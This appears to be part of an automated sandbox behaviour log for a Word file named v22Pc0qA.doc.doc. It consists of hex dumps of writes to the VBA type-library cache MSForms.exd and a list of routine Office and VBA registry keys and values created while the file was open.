00 03 00 00 00 ff ff ff ff 
ff ff ff ff c8 19 00 00 01 
00 00 00 ff ff ff ff f0 00 
00 00 f0 23 00 00 03 
00 00 00 ff ff ff ff ff ff ff 

 .............................
..................L...........
..............................
..................p...h.......
........................0.....
..............................
............d...............(#
..............................
.#.............

success or wait 1 65CF3F8E unknown
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2256 00 00 01 03 00 00 00 
00 38 10 00 00 01 00 
01 03 00 00 00 00 50 
10 00 00 02 00 00 01 
00 00 00 00 00 00 00 
00 03 00 00 01 00 00 
00 00 00 00 00 00 04 
00 00 01 00 00 00 00 
00 00 00 00 05 00 00 
01 00 00 00 00 01 00 
00 00 06 00 00 01 00 
00 00 00 02 00 00 00 
07 00 00 01 00 00 00 
00 00 00 00 00 08 00 
00 01 00 00 00 00 00 
00 00 00 09 00 00 01 
00 00 00 00 00 00 00 
00 0a 00 00 01 00 00 
00 00 01 00 00 00 0b 
00 00 01 00 00 00 00 
02 00 00 00 0c 00 00 
01 00 00 00 00 00 00 
00 00 0d 00 00 01 00 
00 00 00 00 00 00 00 
0e 00 00 01 00 00 00 
00 00 00 00 00 0f 00 
00 01 00 00 00 00 01 
00 00 00 10 00 00 01 
00 00 00 00 02 00 00 
00 11 00 00 01 00 00 
00 00 00 00 00 00 12 
00 00 01 00 00 00 00 
00 00 00 00 13 00 00 
01 00 00 00 00 00 00 
00 00 14 00 00 01 00 
00 00 00 01 00 00 00 
15 00 00 

........8...........P.........

..............................

..............................

..............................

..............................

..............................

..............................

..............................

...............

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 28 20 10 00 00 00 00 00 
00 02 00 00 00 2d 00 
73 74 64 6f 6c 65 32 
2e 74 6c 62 57 57 57 

 ...........-.stdole2.tlbWWW success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 512 74 41 00 00 bc 24 00 
00 5c 30 00 00 a8 49 
00 00 e4 47 00 00 60 
3c 00 00 f8 2d 00 00 
58 45 00 00 2c 41 00 
00 bc 47 00 00 88 30 
00 00 cc 49 00 00 3c 
2c 00 00 cc 48 00 00 
70 46 00 00 68 3d 00 
00 20 42 00 00 64 24 
00 00 b8 3b 00 00 44 
47 00 00 48 46 00 00 
48 43 00 00 48 3e 00 
00 94 26 00 00 4c 3c 
00 00 18 3a 00 00 20 
44 00 00 44 38 00 00 
a8 45 00 00 18 47 00 
00 80 45 00 00 10 43 
00 00 14 49 00 00 84 
49 00 00 2c 30 00 00 
24 40 00 00 90 42 00 
00 ac 44 00 00 1c 3e 
00 00 ac 3f 00 00 34 
42 00 00 14 45 00 00 
98 47 00 00 a4 43 00 
00 94 32 00 00 14 41 
00 00 0c 48 00 00 5c 
44 00 00 bc 45 00 00 
84 28 00 00 c0 2f 00 
00 ac 2d 00 00 e4 31 
00 00 b4 41 00 00 b4 
40 00 00 6c 34 00 00 
e8 21 00 00 9c 40 00 
00 40 3b 00 00 08 2a 
00 00 6c 45 00 00 cc 
40 00 00 24 46 00 00 
fc 3e 00 

tA...$..\0...I...G..`<...-..XE
..,A...G...0...I..<,...H..pF..
h=.. 
B..d$...;..DG..HF..HC..H>
...&..L<...:.. D..D8...E...G..
.E...C...I...I..,0..$@...B...D
...>...?..4B...E...G...C...2..
.A...H..\D...E...(.../...-...1
...A...@..l4...!...@..@;...*..
lE...@..$F...>.

success or wait 1 65CF3F8E unknown
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 18924 ff ff ff ff ff ff ff ff 07 00 
43 0f 4d 53 46 6f 72 
6d 73 57 00 00 00 00 
ff ff ff ff 09 38 e4 f5 4f 
4c 45 5f 43 4f 4c 4f 52 
57 57 57 64 00 00 00 
ff ff ff ff 0a 38 28 6f 4f 
4c 45 5f 48 41 4e 44 
4c 45 57 57 c8 00 00 
00 ff ff ff ff 10 38 c2 57 
4f 4c 45 5f 4f 50 54 45 
58 43 4c 55 53 49 56 
45 2c 01 00 00 ff ff ff ff 
05 38 9f ce 49 46 6f 
6e 74 57 57 57 90 01 
00 00 ff ff ff ff 04 28 55 
10 46 6f 6e 74 f4 01 
00 00 ff ff ff ff 0c 38 a9 
2a 66 6d 44 72 6f 70 
45 66 66 65 63 74 58 
02 00 00 ff ff ff ff 08 38 
8c 62 66 6d 41 63 74 
69 6f 6e bc 02 00 00 ff 
ff ff ff 10 38 8f 6b 49 
44 61 74 61 41 75 74 
6f 57 72 61 70 70 65 
72 20 03 00 00 ff ff ff ff 
0e 38 dc 56 49 52 65 
74 75 72 6e 49 6e 74 
65 67 65 72 57 57 84 
03 00 00 ff ff ff ff 0e 38 
e0 39 49 52 65 74 75 
72 6e 42 6f 6f 6c 

..........C.MSFormsW.........
8
..OLE_COLORWWWd.......
.8(oOLE_
HANDLEWW.........8.WOL
E_OPTEXC
LUSIVE,........8..IFontWW
W.........
(U.Font.........8.*fmDrop
EffectX........8.bfmAction....
.....8.kIDataAutoWrapper 
.....
...8.VIReturnIntegerWW.....
....8.9IReturnBool

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 1620 22 00 4d 69 63 72 6f 
73 6f 66 74 20 46 6f 
72 6d 73 20 32 2e 30 
20 4f 62 6a 65 63 74 
20 4c 69 62 72 61 72 
79 1c 00 43 3a 5c 57 
69 6e 64 6f 77 73 5c 
53 79 73 57 4f 57 36 
34 5c 66 6d 32 30 2e 
68 6c 70 57 57 04 00 
4e 6f 6e 65 57 57 04 
00 43 6f 70 79 57 57 
04 00 4d 6f 76 65 57 
57 0a 00 43 6f 70 79 
4f 72 4d 6f 76 65 03 
00 43 75 74 57 57 57 
05 00 50 61 73 74 65 
57 08 00 44 72 61 67 
44 72 6f 70 57 57 07 
00 49 6e 68 65 72 69 
74 57 57 57 02 00 4f 
6e 57 57 57 57 03 00 
4f 66 66 57 57 57 07 
00 44 65 66 61 75 6c 
74 57 57 57 05 00 41 
72 72 6f 77 57 05 00 
43 72 6f 73 73 57 05 
00 49 42 65 61 6d 57 
08 00 53 69 7a 65 4e 
45 53 57 57 57 06 00 
53 69 7a 65 4e 53 08 
00 53 69 7a 65 4e 57 
53 45 57 57 06 00 53 
69 7a 65 57 45 07 00 
55 70 41 72 72 6f 77 
57 57 57 09 00 48 6f 
75 72 47 

".Microsoft Forms 2.0 
Object L
ibrary..C:\Windows\SysW
OW64\fm
20.hlpWW..NoneWW..Cop
yWW..Move
WW..CopyOrMove..CutW
WW..PasteW
..DragDropWW..InheritWW
W..OnWW
WW..OffWWW..DefaultW
WW..ArrowW
..CrossW..IBeamW..SizeN
ESWWW..
SizeNS..SizeNWSEWW..S
izeWE..Up
ArrowWWW..HourG

success or wait 1 65CF3F8E unknown
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 3600 1a 00 08 40 08 00 08 
80 1a 00 06 40 06 00 
06 80 1a 00 0b 40 0b 
00 0b 80 1a 00 02 40 
02 00 02 80 1d 00 ff 7f 
64 00 00 00 1a 00 ff 7f 
20 00 00 00 1d 00 ff 7f 
2c 01 00 00 1a 00 ff 7f 
30 00 00 00 1a 00 ff 7f 
38 00 00 00 1d 00 ff 7f 
19 00 00 00 1a 00 ff 7f 
48 00 00 00 1a 00 00 
40 18 00 00 80 1a 00 
fe 7f 58 00 00 00 1a 
00 13 40 17 00 13 80 
1d 00 ff 7f 25 00 00 00 
1a 00 ff 7f 70 00 00 00 
1a 00 10 40 10 00 10 
80 1a 00 fe 7f 80 00 
00 00 1a 00 03 40 03 
00 03 80 1d 00 ff 7f 31 
00 00 00 1a 00 ff 7f 98 
00 00 00 1d 00 ff 7f 3d 
00 00 00 1a 00 ff 7f a8 
00 00 00 1a 00 0c 40 
0c 00 0c 80 1d 00 ff 7f 
49 00 00 00 1a 00 ff 7f 
c0 00 00 00 1d 00 03 
00 f4 01 00 00 1d 00 ff 
7f 55 00 00 00 1a 00 ff 
7f d8 00 00 00 1d 00 ff 
7f 61 00 00 00 1a 00 ff 
7f e8 00 00 00 1d 00 ff 
7f 6d 00 00 

...@.......@.......@.......@..

......d....... .......,.......
0.......8...............H.....
.@........X......@........%...
....p......@...............@..
......1...............=.......
.......@........I.............
..........U...............a...
............m..

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 03 00 fe ff ff ff 57 57 
03 00 ff ff ff ff 57 57 

......WW......WW success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 24 03 00 00 $... success or wait 107 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 24 00 $. success or wait 1956 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 22 00 00 19 00 19 80 00 
00 00 00 0c 00 4c 00 
11 44 01 00 01 00 00 
00 

............L..D...... success or wait 1757 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 12 00 00 00 00 24 11 00 
00 0a 00 00 00 

....$....... success or wait 1215 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 00 00 00 00 00 00 00 
00 02 00 00 00 02 00 
00 00 03 00 00 00 03 
00 00 00 04 00 00 00 
04 00 00 00 05 00 00 
00 05 00 00 00 06 00 
00 00 06 00 00 00 07 
00 00 00 07 00 00 00 
08 00 00 00 08 00 00 
00 10 00 01 60 11 00 
01 60 12 00 01 60 13 
00 01 60 14 00 01 60 
15 00 01 60 

..............................

..............................

.......`...`...`...`...`...`

success or wait 107 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 14 11 00 00 14 11 00 
00 38 11 00 00 38 11 
00 00 5c 11 00 00 5c 
11 00 00 80 11 00 00 
80 11 00 00 a8 11 00 
00 a8 11 00 00 d8 11 
00 00 d8 11 00 00 10 
12 00 00 10 12 00 00 
38 12 00 00 38 12 00 
00 60 12 00 00 88 12 
00 00 b0 12 00 00 dc 
12 00 00 20 13 00 00 
38 13 00 00 

........8...8...\...\.........

..........................8...
8...`............... ...8...

success or wait 107 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 00 00 00 00 24 00 00 
00 48 00 00 00 6c 00 
00 00 90 00 00 00 b4 
00 00 00 d8 00 00 00 
fc 00 00 00 20 01 00 
00 44 01 00 00 68 01 
00 00 8c 01 00 00 b0 
01 00 00 d4 01 00 00 
f8 01 00 00 1c 02 00 
00 40 02 00 00 64 02 
00 00 88 02 00 00 ac 
02 00 00 dc 02 00 00 
00 03 00 00 

....$...H...l................... 

...D...h...................

....@...d...................

success or wait 107 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 65CF3F8E unknown
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 09 04 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 51 00 Q. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 .. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 02 00 .. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 .. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 06 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ab 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 cd 02 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 15 24 00 00 .$.. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 24 00 00 00 $... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ff ff ff ff .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 20 00 00 00  ... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 80 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 bc 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 684 00 00 00 00 64 00 00 
00 c8 00 00 00 2c 01 
00 00 90 01 00 00 f4 
01 00 00 58 02 00 00 
bc 02 00 00 20 03 00 
00 84 03 00 00 e8 03 
00 00 4c 04 00 00 b0 
04 00 00 14 05 00 00 
78 05 00 00 dc 05 00 
00 40 06 00 00 a4 06 
00 00 08 07 00 00 6c 
07 00 00 d0 07 00 00 
34 08 00 00 98 08 00 
00 fc 08 00 00 60 09 
00 00 c4 09 00 00 28 
0a 00 00 8c 0a 00 00 
f0 0a 00 00 54 0b 00 
00 b8 0b 00 00 1c 0c 
00 00 80 0c 00 00 e4 
0c 00 00 48 0d 00 00 
ac 0d 00 00 10 0e 00 
00 74 0e 00 00 d8 0e 
00 00 3c 0f 00 00 a0 
0f 00 00 04 10 00 00 
68 10 00 00 cc 10 00 
00 30 11 00 00 94 11 
00 00 f8 11 00 00 5c 
12 00 00 c0 12 00 00 
24 13 00 00 88 13 00 
00 ec 13 00 00 50 14 
00 00 b4 14 00 00 18 
15 00 00 7c 15 00 00 
e0 15 00 00 44 16 00 
00 a8 16 00 00 0c 17 
00 00 70 17 00 00 d4 
17 00 00 38 18 00 00 
9c 18 00 

....d.......,...........X....... 

...........L...........x...

....@...........l.......4.....

......`.......(...........T...

................H...........t.......
<...........h.......0...
........\.......$...........P.
..........|.......D...........
p.......8......

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 f0 03 00 00 cc 42 00 
00 ff ff ff ff 0f 00 00 00 

.....B.......... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 bc 5e 00 00 d0 08 00 
00 ff ff ff ff 0f 00 00 00 

.^.............. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8c 67 00 00 1c 00 00 
00 ff ff ff ff 0f 00 00 00 

.g.............. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 bc 57 00 00 00 07 00 
00 ff ff ff ff 0f 00 00 00 

.W.............. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 bc 46 00 00 80 00 00 
00 ff ff ff ff 0f 00 00 00 

.F.............. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 3c 47 00 00 80 10 00 
00 ff ff ff ff 0f 00 00 00 

<G.............. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 a8 67 00 00 00 02 00 
00 ff ff ff ff 0f 00 00 00 

.g.............. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 a8 69 00 00 ec 49 00 
00 ff ff ff ff 0f 00 00 00 

.i...I.......... success or wait 1 65CF3F8E unknown

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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Registry ActivitiesRegistry Activities

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 94 b3 00 00 54 06 00 
00 ff ff ff ff 0f 00 00 00 

....T........... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 e8 b9 00 00 10 0e 00 
00 ff ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 f8 c7 00 00 10 00 00 
00 ff ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 17100 26 21 00 00 08 c8 00 
00 00 00 00 00 00 00 
00 00 03 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 18 00 00 00 00 
00 00 00 14 00 00 00 
00 00 00 00 ff ff ff ff 00 
00 00 00 00 00 00 00 
ff ff ff ff 00 00 00 00 04 
00 00 00 03 00 03 80 
00 00 00 00 00 00 00 
00 ff ff ff ff 26 21 01 00 
08 c8 00 00 00 00 00 
00 00 00 00 00 03 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 30 00 
00 00 00 00 00 00 2c 
00 00 00 00 00 00 00 
ff ff ff ff 00 00 00 00 00 
00 00 00 ff ff ff ff 00 00 
00 00 04 00 00 00 03 
00 03 80 00 00 00 00 
00 00 00 00 ff ff ff ff a6 
10 02 00 08 c8 00 00 
00 00 00 00 00 00 00 
00 03 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 48 00 00 00 00 00 
00 00 44 00 00 

&!............................
..............................
..............................
..........&!..................
........................0.....
..,...........................
..............................
..............................
....H.......D..

success or wait 1 65CF3F8E unknown

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\Desktop\v22Pc0qA.doc.doc 0 24 success or wait 1 65CDAA87 unknown

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 65CF8A84 RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1 success or wait 1 65CF8A84 RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common success or wait 1 65CF8A84 RegCreateKeyExA

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Word\Text Converters\Import success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\DocumentRecovery success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\DocumentRecovery\53ABF success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations\Document 0 success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common\Toolbars success or wait 1 65D54E8B unknown

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common\Toolbars\Settings success or wait 1 65D54E8B unknown

File ReadFile Read

Key CreatedKey Created

Key Value CreatedKey Value Created
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Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_LOCAL_MACHINE\SOFTWARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00006109E6009040000000
0000F01FEC\Usage

VBAFilesIntl_1033 dword 1379991553 success or wait 1 65D57FEE unknown

HKEY_LOCAL_MACHINE\SOFTWARE\WO
W6432Node\Microsoft\Office\16.0\Word\Text 
Converters\Import

Name unicode Recover Text from Any File success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFTWARE\WO
W6432Node\Microsoft\Office\16.0\Word\Text 
Converters\Import

Path unicode C:\Program Files (x86)\Common 
Files\Microsoft Shared\TextCon
v\RECOVR32.CNV

success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFTWARE\WO
W6432Node\Microsoft\Office\16.0\Word\Text 
Converters\Import

Extensions unicode * success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\Shared Tools\Panose

Cambria Math binary 02 04 05 03 05 04 06 03 02 04 success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\16.0\Word\Resili
ency\DocumentRecovery\53ABF

53ABF binary 04 00 00 00 54 10 00 00 2A 00 00 00 
43 00 3A 00 5C 00 55 00 73 00 65 00 
72 00 73 00 5C 00 6A 00 6F 00 6E 00 
65 00 73 00 5C 00 41 00 70 00 70 00 
44 00 61 00 74 00 61 00 5C 00 4C 00 
6F 00 63 00 61 00 6C 00 5C 00 54 00 
65 00 6D 00 70 00 5C 00 69 00 6D 00 
67 00 73 00 2E 00 68 00 74 00 6D 00 
04 00 00 00 69 00 6D 00 67 00 73 00 
00 00 00 00 01 00 00 00 00 00 00 00 
40 16 E0 2D E9 F8 D6 01 BF 3A 05 00 
BF 3A 05 00 00 00 00 00 DB 04 00 00 
02 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
FF FF FF FF 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 

success or wait 1 65CE5805 unknown
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00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 FF FF FF FF 00 00 00 00 00 
00 00 00 

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\16.0\Word\Reading 
Locations\Document 0

File Path unicode C:\Users\user\AppData\Local\Te
mp\imgs.htm

success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\16.0\Word\Reading 
Locations\Document 0

Datetime unicode 2021-02-01T23:25 success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\16.0\Word\Reading 
Locations\Document 0

Position unicode 0 0 success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

MainWindow unicode 0 0 1280 984 1 success or wait 1 65DA98E7 RegSetValueExA

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

MdiMaximized unicode 0 success or wait 1 65DA98E7 RegSetValueExA

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

Dock binary 02 00 4C 01 05 00 08 00 04 00 1E 00 
FC 03 FC 02 FF 02 01 01 04 00 1E 00 
B8 00 FC 02 FF 02 00 01 04 00 1E 00 
B8 00 2F 01 05 00 00 01 04 00 35 01 
B8 00 FC 02 01 00 00 01 BE 00 1E 00 
FC 03 FC 02 FF 02 00 01 BE 00 1E 00 
FC 03 FC 02 FF 02 01 01 BE 00 1E 00 
FC 03 FC 02 00 00 00 01 BB 03 5E 00 
FC 03 FC 02 06 00 00 00 D3 00 AF 01 
09 03 32 02 FF 03 01 00 D3 00 AF 01 
09 03 32 02 04 00 00 00 93 01 AF 01 
09 03 32 02 03 00 00 00 D3 00 AF 01 
09 03 32 02 02 00 00 00 21 00 72 01 
